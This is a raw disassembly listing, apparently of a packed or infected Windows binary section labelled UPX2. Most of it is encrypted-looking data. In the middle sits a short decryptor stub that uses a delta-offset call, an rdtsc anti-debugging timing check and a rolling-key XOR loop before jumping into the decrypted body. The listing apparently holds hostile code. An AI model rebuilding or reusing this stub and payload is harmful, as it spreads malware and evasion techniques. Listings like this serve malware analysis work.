		dd 0C7F5A6E2h, 92F6D19Ch, 0E580A3E9h, 70017E9Ah, 95C8C69Eh
		dd 84DB80A9h, 5D0D584h,	47C61AC3h, 8AD2E614h, 0ED7C9BA3h
		dd 8FB77692h, 62A68566h, 0A527FEB7h, 0F225D1F8h, 0AAED1FC4h
		dd 0B1B0E833h, 9B3B259Dh, 162A3FCCh, 263D49B5h,	5DD0C813h
		dd 0DC2320E1h, 3DA00BBCh, 7AADAD80h, 4B392D4Ch,	3C07F211h
		dd 3D1FFDCh, 95C8E94Ch,	77EF6E6Ch, 2A6EBD1Ah, 0F6AF0E79h
		dd 0BAE81370h, 3DA8DB05h, 0F2BBA6E2h, 92C09E14h, 2D307DEFh
		dd 1468DB29h, 6A98C6F4h, 0B1E67B2Ch, 0CC383101h, 41A2ADCCh
		dd 7D4911D5h, 7685A7BDh, 0A248409Bh, 62909643h,	0A9E44DBFh
		dd 0C43029F9h, 39BAA5C4h, 754129CDh, 567DAFB5h,	0D14058A3h
		dd 5CC301EBh, 2FE51DD5h, 5D175E27h, 0E2639AFFh,	5269BD4Dh
		dd 0F871CE4Fh, 645111CBh, 0D19DDA25h, 0E8C9FA5Eh, 0DE5BB58Ch
		dd 294CC43Fh, 362DDEBEh, 631FE90Ch, 870B9FAFh, 4A4E9944h
		dd 0B69465DFh, 55C80574h, 2250C62Eh, 0A51305F4h, 0F6D05D7h
		dd 0FA1E68ECh, 71AF1530h, 0EB844ADDh, 0A83C282Eh, 3A6474D3h
		dd 16CC8246h, 0DEF63AD8h, 872072A1h, 0B1A1752Ch, 0DAF5E30Dh
		dd 0C18C2611h, 40033DA1h, 690DB9E4h, 292F01D3h,	0A34F7B77h
		dd 0B66FCDF2h, 85572922h, 97B34971h, 11BC69DAh,	6F7F5123h
		dd 0A8FBB573h, 1D00BA63h, 7A65794Bh, 7DEF9AAFh,	451713C0h
		dd 0EAEB6D73h, 0B58758F9h, 6828FE69h, 32F7C998h, 0DDAF808Dh
		dd 947442FBh, 60D3F1C3h, 0FA28406Ch, 0BD1376CCh, 8A5019EBh
		dd 8F002E5Ch, 291B9B25h, 0B979BEDAh, 0CED80637h, 47AB7C83h
		dd 3A5EA95Ch, 0E4925768h, 90B518D5h, 1184EB93h,	403B6E4h
		dd 0C40EFD10h, 0AF487DF5h, 31D40BB3h, 395FD604h, 0C2D01E5Ah
		dd 0ADBD6994h, 0A480AEDFh, 95CAAA67h, 0E213A3E8h, 221B0DB4h
		dd 0D2006EC1h, 356C19E4h, 3F305E8Fh, 6A5886F4h,	91446A13h
		dd 63E03664h, 2DAF8152h, 6A9BBF76h, 6E458D3Ch, 0FA2860BBh
		dd 0C978DC47h, 4B93F65Eh, 12332A2Fh, 0D24B734Fh, 0EB80F465h
		dd 9CE7A6B1h, 0FE6A4D7Ch, 3B68967Ch, 12588F0Ch,	0FA07D9B3h
		dd 2478CD09h, 6AA807E4h, 94E85A99h, 14382C74h, 2618D675h
		dd 854FA0ECh, 0CD229BB3h, 0E8EBA400h, 6A253BEDh, 7F23F612h
		dd 0DAB5BB9Bh, 2A588682h, 50D4CFFCh, 824D93B3h,	2335EBAh
		dd 460DA6D4h, 0AA654B9Dh, 25F73652h, 28BB8553h,	523D4B75h
		dd 0B2E00E0Ah, 0FC405E84h, 1B709ECCh, 8AB8E07Ch, 0FAE8765Ch
		dd 90B78943h, 54A82369h, 805C8034h, 0F21676E1h,	2F5134Ch
		dd 6252DE3Ah, 0F25DA3A3h, 12486EAAh, 53FDB6E4h,	9A4F43ACh
		dd 9E194642h, 97E57979h, 7AA8E03Ch, 0B6F81E4Ch,	9785E68Fh
		dd 578098E4h, 27484650h, 0E22606F2h, 0AAFFF2B1h, 44985141h
		dd 249C1344h, 3A95DB7Bh, 4A78A6E2h, 9BB46E1Ch, 0E2958BE4h
		dd 55527E9Ah, 8A3D457Dh, 0B2E03803h, 5DB516Ch, 0BF117633h
		dd 0FA5019EBh, 59002E5Eh, 2C77EA39h, 0C20DBDECh, 42D8300Bh
		dd 0DDFB205h, 383812CBh, 373BDE0Ch, 0CACE19CCh,	117C3017h
		dd 0A7F25E3Ah, 20DF01D3h, 0EA18444Eh, 5244C43Dh, 0F148D604h
		dd 0C1A64CB2h, 703B72EEh, 0F70559CCh, 9AC8C01Ch, 97003E6Ch
		dd 0CEE50FA0h, 0FFA0F8C3h, 8CD0A6F1h, 65BDD58Ch, 0B97890C4h
		dd 0BE79B9B8h, 5708366Eh, 14407E19h, 0DB3D35F4h, 41E2ED3Ch
		dd 5FADA120h, 4270A8F4h, 85A8E614h, 0D20080D8h,	323B89A4h
		dd 9D7E0804h, 7E4D8DCBh, 77207843h, 0A2EC9916h,	9B0DE0Ch
		dd 0FCC7BEE1h, 20AE59Ch, 3AACFC65h, 8930FE2Ch, 0E86B4E3Eh
		dd 4063478Fh, 1D25ED10h, 49F0285Ch, 3C280119h, 0D9D6DCDCh
		dd 3F4BD218h, 0E2262E0Bh, 4DFF05B4h, 72A0CEFCh,	0BBE06CCFh
		dd 0F53356C6h, 0CFF35153h, 92F6D1B0h, 0E2ADB393h, 22107E9Ah
		dd 68ECC6F4h, 0C0E316CBh, 73187F88h, 744F7E79h,	0A2CB6D14h
		dd 57F71E5Dh, 1A7E4E01h, 6290BEACh, 0B22F0440h,	0E69A62Dh
		dd 0D131693Bh, 0AAC3DD00h, 9BF4547Fh, 4DE49DCAh, 0EA3D3BBDh
		dd 2BD0C814h, 0DC27A2C9h, 6DC47DBCh, 0E899D95Ah, 0C22399C1h
		dd 9F026694h, 52B6967Fh, 48A1F051h, 0F0246814h,	0C2A8D63Ch
		dd 8D5F145Ch, 0B6A29D1Eh, 0F520148Fh, 7C400351h, 92C0EE1Ch
		dd 0DF49BB74h, 0AFD96DD9h, 6AAEF914h, 0A2878B3Fh, 5DAB56B2h
		dd 42709EABh, 0A2FBCD14h, 0D252A9D5h, 9FBF76A4h, 62A6828Ch
		dd 0AAD80635h, 0B1E74908h, 9AC836CCh, 273529ACh, 0CAF8106Ch
		dd 66C06E9Ch, 2060E4E3h, 0F82F01DBh, 0D5F8CBFFh, 37838E8Ah
		dd 91809D8Dh, 1E7D9541h, 0E93850ABh, 0D98345DEh, 1F3FDE6Fh
		dd 0E22606C9h, 2A5886B7h, 0F72BDA88h, 0BADE29A0h, 3DE0D38Fh
		dd 0CF7BA6E2h, 92F6D1D0h, 90833E65h, 0BED5F5BCh, 5398F0CBh
		dd 0B1930676h, 0FB201C0Dh, 21F38E8Eh, 0F33E64Ch, 0D23611F8h
		dd 1A60C6CCh, 6AD2BFECh, 0FA9B076Dh, 0CA83DBF6h, 0BF9F96F2h
		dd 8286E6A9h, 0DAF82654h, 9F4368E8h, 5ABEA683h,	2727FE9Ah
		dd 0EA2E7ED1h, 32628EBCh, 0BC56C271h, 0FA559BBBh, 0A3866A2h
		dd 54F5AED8h, 0A26C43AEh, 67E73E5Ah, 2A6EBE11h,	72A08EFCh
		dd 0BD621D31h, 9A9C8Eh,	0A18F4402h, 0A0C76415h,	0C0A9CA6h
		dd 0F063894Eh, 0EBA4D90h, 31B80CB3h, 0CC172A39h, 0C67F9ECCh
		dd 75471CCAh, 0ED989BA3h, 8FB77692h, 62A6853Eh,	954CB3CBh
		dd 67DF4E4Ah, 3A5EAD82h, 0BD305381h, 5F752662h,	12765114h
		dd 5AE2E4B5h, 9DAC4BD3h, 7FE74642h, 3256B57Ah, 45D463FBh
		dd 570F1E7Ah, 0A0E5DD2h, 6CE81B51h, 2F37F612h, 0E2260114h
		dd 0E8CD79E2h, 0F1A0F8C7h, 8CD76AE1h, 0EAF35E8Ch, 4A78A6D4h
		dd 13C18441h, 0EC3F8689h, 2DA026ACh, 7FEC4335h,	72650E0Ah
		dd 5E0D547h, 0C7B1913Ch, 8A8EF360h, 0D210139Fh,	63D768Eh
		dd 46EC3F8Ah, 0DFA96A38h, 36C82E6Fh, 4F97693Bh,	78643609h
		dd 1810D9ABh, 73BF9163h, 22A549CAh, 1AC2CA7Ah, 0EA184651h
		dd 0CDC566DCh, 43DD29FBh, 0F2D45AC7h, 3450D319h, 20BAEEAh
		dd 0A049902Ch, 0C7633C6Ah, 2A58EEE2h, 0B62BCE03h, 0EABA162Eh
		dd 3E22CB73h, 8EFBA6E2h, 0CEFE6F14h, 0AF54095Bh, 2696FDAFh
		dd 9562471Ch, 4D9FE6C3h, 3949A97Bh, 4270EA74h, 32090D14h
		dd 0D2002E73h, 1A486B4Ch, 62B07CECh, 0AAD8368Ch, 0F230A67Ch
		dd 1EAA96C4h, 8335660Ch, 0C9102654h, 0D0406E9Ch, 0E05B6C8h
		dd 8C1DF208h, 9618BEF7h, 3288EEA5h, 0F1A8D604h,	9FC03A18h
		dd 0E7B97C1Fh, 52B6965Bh, 65294CCCh, 0E6D25F93h, 2C5981B4h
		dd 0F0A3CBFEh, 2BBCD646h, 4415FF52h, 904AD011h,	1C39068h
		dd 0FFC48BEDh, 0E85B93D0h, 59h,	824648Bh, 4EBB8h, 64FAEB00h
		dd 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h, 0E8h, 0ED815D00h
		dd 402334h, 237B858Bh, 85030040h, 402383h, 858BF08Bh, 40237Fh
		dd 23838503h, 8B500040h, 0ACC933FEh, 238B8532h,	41AA0040h
		dd 23878D3Bh, 0EF7C0040h, 64C02BC3h, 896430FFh,	5678B820h
		dd 3871234h, 6000h, 7BB0h, 31420000h
		dd 1E00h
; ---------------------------------------------------------------------------
		js	short near ptr word_3143399A
		push	ebp
		mov	ebp, esp
		call	near ptr byte_31433955
		call	near ptr byte_314339C9
		mov	ebp, fs:0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0
		db 0
byte_31433955	db 3 dup(0)		; CODE XREF: UPX2:3143393Dp
		dd 10h dup(0)
		db 2 dup(0)
word_3143399A	dw 0			; CODE XREF: UPX2:31433938j
		dd 0Bh dup(0)
		db 0
byte_314339C9	db 3 dup(0)		; CODE XREF: UPX2:31433942p
		dd 187h	dup(0)
		dd 7C816FD7h, 1405h dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+2FE3h], ebx
		test	dword ptr [eax+28A0h], 80000000h
		mov	ebx, [esp+4]
		jz	short loc_3143904B
		pop	ecx
		mov	[eax+2FE7h], esi
		mov	[eax+2FEBh], edi
		cmp	byte ptr [eax+28A4h], 0E8h
		jnz	short loc_31439042
		add	ebx, [eax+28A5h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_3143904A
; ---------------------------------------------------------------------------


loc_31439042:				; CODE XREF: UPX2:31439033j
		mov	ebx, [eax+28A6h]
		push	dword ptr [ebx]


loc_3143904A:				; CODE XREF: UPX2:31439040j
		pop	ebx


loc_3143904B:				; CODE XREF: UPX2:3143901Dj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 10E05h
		sub	ebp, 361005h
		mov	edi, [esp+4]
		lea	esi, [ebp+3638B0h]
		mov	ecx, 0A2h
		rep movsb
		call	sub_314390C0
		mov	ecx, eax
		call	sub_314390C0
		sub	eax, ecx
		jz	short loc_31439094
		cmp	eax, 100h
		ja	short loc_31439094
		lea	eax, [ebp+3610D3h]
		mov	dl, [eax-10h]
		call	sub_314390C4
		jmp	short loc_314390D3
; ---------------------------------------------------------------------------


loc_31439094:				; CODE XREF: UPX2:3143907Bj
					; UPX2:31439082j
		test	dword ptr [ebp+3638A5h], 80000000h
		jz	short loc_314390BE
		lea	esi, [ebp+3638A9h]
		mov	edi, [esp+4]
		movsb
		movsd
		mov	esi, [ebp+363FECh]
		mov	edi, [ebp+363FF0h]
		mov	ebx, [ebp+363FE8h]


loc_314390BE:				; CODE XREF: UPX2:3143909Ej
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_314390C0	proc near		; CODE XREF: UPX2:3143906Dp
					; UPX2:31439074p
		rdtsc
		retn
sub_314390C0	endp

; ---------------------------------------------------------------------------
		db 7Dh

; =============== S U B	R O U T	I N E =======================================



sub_314390C4	proc near		; CODE XREF: UPX2:3143908Dp
		mov	dh, dl
		mov	ecx, 27D2h


loc_314390CB:				; CODE XREF: sub_314390C4+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_314390CB
		retn
sub_314390C4	endp

; ---------------------------------------------------------------------------


loc_314390D3:				; CODE XREF: UPX2:31439092j
		cld
		sbb	[edi+4], esi
		mov	ss, word ptr [ecx]
		jmp	far ptr	2AB5h:37B62B93h
; ---------------------------------------------------------------------------
		dd 0A6515BA2h, 41C446CAh, 0F633D4CBh, 4F906CB1h, 58F01B27h
		dd 411FFBEFh, 8E5B08F6h, 0B3F7DFF0h, 0BC83F06Eh, 87A7E4C7h
		dd 0A15AA3DFh, 4845BA02h, 0DE2FC63Eh, 0B440D37Bh, 0F87141CCh
		dd 0BD10B6E1h, 0D434E19Dh, 360B7409h, 0F7335FAh, 0E2176CEEh
		dd 0AEE3E4D2h, 51D45B32h, 2AA408CEh, 58F45AB1h,	48DC57D8h
		dd 0F75B74AAh, 2EDE9E17h, 4640FA4h, 0BE800386h,	85159208h
		dd 801EAE0Bh, 0D91DAB0Ch, 44862C05h, 0F77F8DCFh, 0B535533Eh
		dd 0CC6BAF32h, 0EE41EF52h, 0E366D26Eh, 0D608F961h, 0FC75A9FDh
		dd 6DC648B8h, 61E7A402h, 5A18DEDEh, 0B6334C56h,	0A83F1339h
		dd 31820CF4h, 0A0A7EB2Bh, 199C1C23h, 18BCAE16h,	748507BCh
		dd 1DCD046Ah, 176CD94Dh, 0EB75CFEBh, 55D1585Ah,	2E48FD5Bh
		dd 3D993C45h, 0AD308523h, 0B45002A9h, 16189B28h, 0BF19F7B7h
		dd 0D8838306h, 71C26286h, 0E02E3CEEh, 59EA4D33h, 1F65DAD7h
		dd 0CCC471F1h, 3ADCB0Bh, 0A4651CB2h, 2B9B7D1Bh,	0F9B4A69Ah
		dd 5880802h, 67E900DDh,	2C70C54Dh, 656BF882h, 0D558DB8Ah
		dd 0A35888D9h, 0D583C006h, 0B934A73Ah, 9E7E2EA7h, 90749F14h
		dd 0E7109366h, 5791780Ah, 0F0F84DC5h, 87686032h, 0CAE063E4h
		dd 41D4E257h, 0AA434BF8h, 39B03C7Bh, 2D5DB2B6h,	0ACA411BAh
		dd 238A4A0Bh, 0F629FC92h, 0DD6C8064h, 0F91E0BF1h, 68312B5Dh
		dd 0EF47E6F7h, 46FB2056h, 0D1134EB6h, 0E224FCC0h, 0A82CAC5Ah
		dd 0CBB55C26h, 1214A121h, 458DABCAh, 7B63FB0Dh,	76773F6h
		dd 9E50DEAh, 0D5D85FDEh, 48CC4FBAh, 6B55BCC6h, 0B4B40181h
		dd 0A72C246Eh, 739C1FA0h, 0DF84396h, 6B84038Ah,	0F9903A7Eh
		dd 0B96D8525h, 0DC60E20Eh, 87C1285Ah, 0AD48FD75h, 0B93DBF48h
		dd 966626C9h, 0A4CCA71Ch, 7C189B1Eh, 890C8D43h,	9E59836Ch
		dd 8EFE1DF0h, 53D3A17Bh, 9A2DB4E2h, 76A6EE55h, 4EC447FCh
		dd 35BA0F3Ah, 29AAC7B2h, 49EE23A6h, 11D85BDEh, 3E1A9E71h
		dd 4CF1FFB4h, 0ED46E4BCh, 5CE92E59h, 0D56EE080h, 21DFC1E3h
		dd 0BD40C132h, 8D260AB9h, 0AA28AB18h, 991E9FA6h, 6F951816h
		dd 7E04B131h, 0F0777A8Eh, 69DA580Eh, 661AE66Dh,	212B57ECh
		dd 0C4DC4CFh, 0B2BC09FAh, 1B8BD533h, 20D4D8AAh,	2DC89E11h
		dd 84070FA4h, 0FDB6386Ch, 808BED99h, 0B8ED646Fh, 525CE95Ah
		dd 0FB6B21DBh, 3E4D244Ah, 30B7BA4Fh, 0A91A9758h, 9D211BCEh
		dd 0F9A91A1Ah, 0E08BD32h, 8FFC15CDh, 69808C2Fh,	0BE78669h
		dd 221589Eh, 51A64FB8h,	2817F64Bh, 280D378Ch, 0A8A82BAEh
		dd 0E66252A6h, 0A6F6EC69h, 1C90307h, 9378FB7Eh,	0ED2B62D9h
		dd 5084D1CDh, 0E76FC3CFh, 4C2E674Eh, 3A97D940h,	58D2B1F4h
		dd 0A14E73A1h, 95689276h, 0E3C00412h, 17C40806h, 71F41FFAh
		dd 258263EEh, 57B60DB3h, 0A345AC86h, 19C471F1h,	5DF8FF3Dh
		dd 29AC5FBBh, 1DCAF72Dh, 51FEDB11h, 7E20BE4h, 917C95D0h
		dd 0ED70837Fh, 8B35E700h, 40A78BA1h, 0C97AF4A4h, 42C59A19h
		dd 0B0333335h, 10A5AB2Eh, 992A8F22h, 8D1C90AFh,	72EB0C0Ah
		dd 7515FA5Bh, 0E4EC59E2h, 6BF45463h, 134A8DAh, 2FE8219Ah
		dd 0C729C03Dh, 0A8B0058Dh, 15D1786Ah, 15995576h, 99DE792h
		dd 98D30386h, 8416923Eh, 8C1ABB09h, 0BC30B614h,	9A50B631h
		dd 0C14188A2h, 0D98D443Eh, 562C990Dh, 0AB1B21B3h, 4EBC01Ah
		dd 853EB048h, 7B967F68h, 5686E609h, 495D67DCh, 0C2D85BDFh
		dd 4545AEF9h, 0C29717E2h, 78F8D2Fh, 0A65E18AEh,	2FA04907h
		dd 5AC41396h, 3A3A9275h, 35FDFB48h, 6A2A8906h, 3312E798h
		dd 0D970A3A5h, 0EF22CB24h, 828A2ABDh, 6DB5B300h, 49B77B5Eh
		dd 95189E99h, 6A9D4621h, 2B85BA3Ch, 4F441C6h, 4194EADCh
		dd 2BAF3CC6h, 0CCF827A5h, 41CADA0Bh, 65EC6BBEh,	79FC7EE4h
		dd 7335DCF5h, 949421A1h, 0AFC524Eh, 0F1588B7Dh,	0D12676F9h
		dd 248CE75Ch, 86A724A3h, 0F20A5AADh, 33ABC370h,	0B01C73BBh
		dd 5A7FAB2Eh, 0AF27D9B7h, 0CB856C16h, 6804B131h, 8A078096h
		dd 698635F2h, 5D8A638Ch, 50BC57B0h, 0CEC84FCEh,	69BC5506h
		dd 0E93B3FDCh, 59F2C555h, 15982FC1h, 0D364C6A1h, 707FFC79h
		dd 0C761B1EFh, 0B439B96Eh, 93C92032h, 4E50E56Dh, 5187E78Eh
		dd 0B560E366h, 0A92C9F3Bh, 9D20AD4Eh, 9114971Bh, 85088B0Eh
		dd 79FC7F02h, 6DF05B53h, 61E467EAh, 0AA8B0D8Fh,	7FF71D47h
		dd 9199E8C6h, 0CAC1F73Eh, 0A86BC54Ch, 2F856E37h, 986F4196h
		dd 1B23C20h, 0CA147EF7h, 0FF84EF44h, 9160E366h,	0A43FB835h
		dd 0AC3A9B3Eh, 0DC50D634h, 0CC66D651h, 0E041D246h, 0E7CB1Eh
		dd 893AB440h, 4270068Fh, 2D3777CCh, 9B0AACh, 3CB13EACh
		dd 27B21CB2h, 32B024AFh, 66CC6DE2h, 29D84CD7h, 6FD450CAh
		dd 11FA72F6h, 64ED79CDh, 903A9AF6h, 0ED31961Ah,	80019529h
		dd 0BC1EBE2Ah, 0A801AA3Eh, 0D329B336h, 0F234F65Dh, 0D149CE5Ch
		dd 0F66ECF47h, 0FE63F675h, 0F347874Bh, 108C1A9Bh, 6810AA0h
		dd 35B40692h, 35B532A8h, 20BA08CEh, 6DD94BA3h, 4CD541DEh
		dd 53E727CEh, 70EC7AFBh, 65E360C6h, 8DEC66EEh, 9F27C549h
		dd 8D1B9B0Fh, 9C5CAB0Dh, 9924BA2Eh, 0A021B522h,	0DC7EBB5Ah
		dd 0C078CA5Eh, 0F274C64Bh, 0E567EE49h, 0EC5CE66Bh, 3FFC1A6Fh
		dd 21951684h, 960583h, 12D822ACh, 208A3BB7h, 498126AAh
		dd 53DD45CEh, 56CD5FDBh, 7CDB1FE3h, 61F955E2h, 7BED54EFh
		dd 903FFB1Bh, 8505A906h, 0B009B703h, 0B413D73Fh, 0A127863Ah
		dd 0F159D337h, 0C154DD57h, 0E624E64Fh, 0F04CEF7Bh, 0E04AFF7Fh
		dd 1C4EE66Ah, 71B51297h, 319C0EA9h, 9AC3287h, 0CB827B7h
		dd 35A100CAh, 46CA5EE8h, 29C240DBh, 4BD446E1h, 78E765FFh
		dd 7DCD65E1h, 9C3BFFC3h, 811FA502h, 0A8018A1Fh,	0A737BD30h
		dd 0A038AE3Fh, 0BD01AD29h, 0D555D876h, 0D74AC262h, 0D865ED43h
		dd 0FD71DE16h, 0F661EE5Ch, 1CBE1DB1h, 26EC0A9Eh, 1B8E0696h
		dd 1CB13BB3h, 2CB83BAFh, 39FD58ACh, 43D543F9h, 42CB55FAh
		dd 15EB68FBh, 6AE37DC2h, 0CEF370E3h, 831DB148h,	0B5689F1Dh
		dd 0BC3FB010h, 0FF63A025h, 0B53CA204h, 0C15DE83Eh, 0CC40C674h
		dd 0EF54D767h, 0E561F573h, 8549F86Bh, 3F881A51h, 39951F9Fh
		dd 61810A83h, 30BD378Dh, 309F4FA2h, 50A537B5h, 54D95EEEh
		dd 4CEE44FAh, 70C87ACEh, 589076FBh, 71E56AE4h, 821D9228h
		dd 802A893Dh, 8B60860Ah, 0A420A533h, 0A909A72Fh, 0B95FD02Eh
		dd 0D959C161h, 0CD4DE14Fh, 0E1569B7Bh, 0FC66EB53h, 0F50F775h
		dd 1D9D0193h, 168D0C8Bh, 3CB730B6h, 399E53B8h, 20A13589h
		dd 5CFE5ECAh, 67AC4ADEh, 78D260D2h, 41F163FBh, 60EB64FCh
		dd 0B77C8CF1h, 8802B002h, 0B101930Bh, 0B03BB42Ch, 0B109BC21h
		dd 0FE348D46h, 0C555D248h, 0C64DF84Bh, 0F773F656h, 0CE64DD16h
		dd 0F565E278h, 108B2E9Bh, 69E3F80h, 2E930685h, 1CA019DAh
		dd 2C9E3BAFh, 5FF348A7h, 59D356E5h, 21CA48C3h, 65D76FD0h
		dd 60CA61F7h, 0B38066EAh, 9404B80Eh, 8A1ABB00h,	0AA2FBA01h
		dd 0A83BBC02h, 0B50AC724h, 0DB5DCB71h, 0DD4FCA61h, 9D4ECC4Fh
		dd 0E344E354h, 0E66DFF61h, 0B952976h, 1910682h,	0E8902A7h
		dd 1BD822ACh, 2CB91EA6h, 53893AB4h, 5CC658DCh, 4AC15FCFh
		dd 72F34BCCh, 43907DF3h, 68F650FEh, 9C2E9E0Ah, 88199B00h
		dd 0B005AE0Ah, 0D12DA535h, 9024BF1Ch, 0D65FD62Ch, 0D963D652h
		dd 0C64ACE58h, 0FB59F44Ah, 0FD5FE661h, 1A6EEA74h, 30A720FAh
		dd 17891FBDh, 59AC2A96h
		dd 3EBF3FB5h, 22AB34AFh, 35CC5ED5h, 47C240D1h, 1DD440C3h
		dd 79E072FDh, 67FC78E1h, 941D91FBh, 8802F313h, 92649109h
		dd 0D53CB53Bh, 0A22FA021h, 0F440B723h, 0C351C354h, 0E65CCE40h
		dd 0FC6FF04Eh, 0E97EF25Eh, 0C804E266h, 79D0F90h, 2E980A9Ch
		dd 32A31783h, 32B139B4h, 16AC2EBAh, 5CC85EB6h, 59DE7AB6h
		dd 44CA55CFh, 70E854EAh, 408C4EFCh, 8FE577E8h, 0BE009214h
		dd 0B0068E1Eh, 0D91DB310h, 0A824BD1Fh, 0B521A938h, 0D159DE6Ch
		dd 0CC40C674h, 0CB64E226h, 0A25DC75Bh, 0C94CA53Ch, 1CAE7F4Eh
		dd 29C3091h, 4AF0299h, 308A5BA7h, 2CBC00B5h, 44A508A8h
		dd 31F54FFFh, 74CF4EFCh, 60EE7AD7h, 78FC72C0h, 40FC42EFh
		dd 921DA97Eh, 0BF188A21h, 0B8158F07h, 0D115AF1Fh, 0AFBEF818h
		dd 326AE940h, 0FF31D9E2h, 0F73CD5D5h, 0AA680EE1h, 4D878F24h
		dd 2D56D550h, 698488ACh, 5E36FE11h, 9D5F5FD4h, 45120DC6h
		dd 0BA8DCACAh, 5DE9F395h, 0C1AC2FB2h, 1E846F2Bh, 14FE17F0h
		dd 6FDB5BDFh, 0A9B07487h, 0B92027FDh, 0B335A700h, 0D3CD240Dh
		dd 4A4CF96Eh, 28BFCF82h, 0B1028B34h, 66206FADh,	0A2080AAFh
		dd 44239320h, 0E9568760h, 75CA7BCEh, 38BDAB79h,	0CB0238Ch
		dd 91574FB0h, 4BA21FC6h, 3B29C092h, 0AEB0058Ah,	0F397076Eh
		dd 8C97DB1Bh, 5156F850h, 0AA43C1A5h, 309C0849h,	0EA971491h
		dd 0D95C7AE6h, 0C4388356h, 4A44C73Ah, 3E38D1EAh, 0C16CC5FEh
		dd 9D30A326h, 0FB469570h, 0F501E30Eh, 79967F02h, 92A020A7h
		dd 57DF917Fh, 0AA8104DEh, 7FF70947h, 493FC6C6h,	4D39BCCBh
		dd 0C6A81DBBh, 190992AEh, 0E902586h, 0FED7505Bh, 17FD70ACh
		dd 646CD949h, 0DD4718E9h, 2E7F3F5Ah, 40C334B1h,	0B90A84B8h
		dd 85783CBBh, 0BBCCA72Ah, 1EE764E1h, 0BF376997h, 328F0E06h
		dd 99F477D2h, 9A1794E7h, 6236DA69h, 8D5553E0h, 0CE4967BEh
		dd 35B813E2h, 0D652DB5Ah, 0EF25A859h, 949421A1h, 88837F4Eh
		dd 0F954960Dh, 13AF1B76h, 26EF1895h, 3D0D1801h,	0C94CCF52h
		dd 0ADAD421Bh, 82348121h, 38AD26E7h, 0C81CA93Ch, 0DD41C242h
		dd 14FBD65Bh, 75CE408Ch, 96C86B75h, 6BDB2573h, 55160ADAh
		dd 45201ECEh, 64BC3FC2h, 368FDE37h, 0DECE279Ch,	0E928E13h
		dd 5BDC0FA4h, 0FDA4234Bh, 35F7F750h, 60AF8D62h,	0D96AC432h
		dd 4897F39Bh, 0C172DC18h, 0B512BB1Ah, 0B3466C6Fh, 9D294B7Eh
		dd 0D399971Ah, 4CF6216Fh, 103F8F77h, 5BCC1363h,	696062EAh
		dd 0C05119D6h, 49FA73B2h, 6803A131h, 31B43752h,	0C82976AEh
		dd 19AA043Bh, 31F48E1Dh, 7D0707BCh, 0FA78F35Ah,	0E96C56F6h
		dd 0D58C6266h, 8554D758h, 0C549CF26h, 23A94042h, 2630850Dh
		dd 85A02AD6h, 95189A1Ah, 610CE542h, 7D008302h, 71A625ACh
		dd 0F37D94B9h, 6ADC69D9h, 4947DE1Fh, 10C447CBh,	64BA51EFh
		dd 29C42ED8h, 4FE023A6h, 2AF68265h, 801E0BB8h, 0A9278B74h
		dd 0EC749B22h, 1E33E76Ah, 0D778FFEAh, 5CB3CF52h, 0BD76FF04h
		dd 0C5F43263h, 0F53C4838h, 99764BA9h, 0DB47C244h, 0BADE12F5h
		dd 0F0A17BC8h, 3F3C1A32h, 66A6F619h, 65957ECh, 2F9F198Ah
		dd 0AE316786h, 2DB032B2h, 4B641401h, 0BE6B428Eh, 59DC5FC2h
		dd 0AFD053D6h, 0CA1E6285h, 21E9EB58h, 0D95CDD6Ah, 0C574A7A9h
		dd 0FD7652B5h, 4A6BBB08h, 9F109DA7h, 99E2FE26h,	9B2A171Ah
		dd 0E4E8A7Bh, 4FE9078Fh, 0E0E990F6h, 57F4677Fh,	30958DEh
		dd 89489D2Dh, 3CDFCBC9h, 0B5BB37BAh, 25A82ABEh,	6CA62122h
		dd 33105586h, 88Ah, 7578FB7Fh, 1819CF4Ch, 8D5E6220h, 0A4139913h
		dd 387400Ch, 9273BE04h,	0AD5AE2F8h, 5E77F17Bh, 0A324B18Bh
		dd 4837D612h, 7DDF0609h, 0F47977FAh, 65DE757Fh,	55B45F88h
		dd 1DD053D6h, 6B51B899h, 8B80D82h, 29AC2FBEh, 1D1FA6A9h
		dd 0A07D179Ah, 84880B8Eh, 0B02EAFBCh, 48F5FC20h, 6264E76Ah
		dd 0E9F4D398h, 50C8C05Fh, 8140C346h, 1DC7C21Ah,	20279112h
		dd 991C9FAEh, 0AD309EBBh, 0A039A72Ah, 8C1E99h, 49D0C38Dh
		dd 23611F93h, 25BC7725h, 0C4B93EBAh, 3CC3CBCh, 45C51C99h
		dd 215B606Ch, 5222A91h,	0FE8C0FB5h, 687F5164h, 0F142CCB0h
		dd 0B5382B5Dh, 0D0B48F32h, 8950D356h, 0AD2AB025h, 0B55CDA51h
		dd 95163ACDh, 5DA5A310h, 5827A16Eh, 0B96C0E87h,	11AD7F34h
		dd 0EDF071F6h, 31B236BBh, 69E6CE21h, 0DC414FE4h, 3DF65855h
		dd 657D04EAh, 74FA7BFFh, 6B09E0F3h, 8A9025ADh, 947B238Eh
		dd 0F54EC038h, 64EC2C8Ah, 0DD56F60Dh, 0BB972E5Bh, 3A49A14Fh
		dd 0BD4F4071h, 10B0A6C9h, 0A112E722h, 1046EF1Fh, 0BA56FBD2h
		dd 0CED008DDh, 4DA474F1h, 785FDE63h, 0E3575FD4h, 4DD052DAh
		dd 40CCCD41h, 0CDBB3BBEh, 0A2CCE499h, 7C06D06Dh, 0F3D312EEh
		dd 86A6E07Bh, 722FF045h, 39FBA4BAh, 0A10EB33Ah,	2A32890Fh
		dd 0F54A5AADh, 30CBC370h, 0B1028C40h, 8E246FADh, 9EF51CEDh
		dd 8D7A94D1h, 0CE8D87E2h, 3AABB8FDh, 28BB3BB4h,	10BC26B4h
		dd 3EA634B3h, 31AE24BDh, 57D5689Eh, 5EC75CD2h, 53D164F6h
		dd 61F67EECh, 7AFE6AC4h, 0A1EE6CEFh, 9D048F3Fh,	970D9901h
		dd 0AB3D8B62h, 8524B631h, 0C130B425h, 0E538BB3Ch, 0A92CAF32h
		dd 0F943D14Fh, 0F47DED34h, 0E978A568h, 3AB53102h, 0A9E53BDh
		dd 149D1293h, 0D22FBBh,	699E0A81h, 748F09ACh, 479217F4h
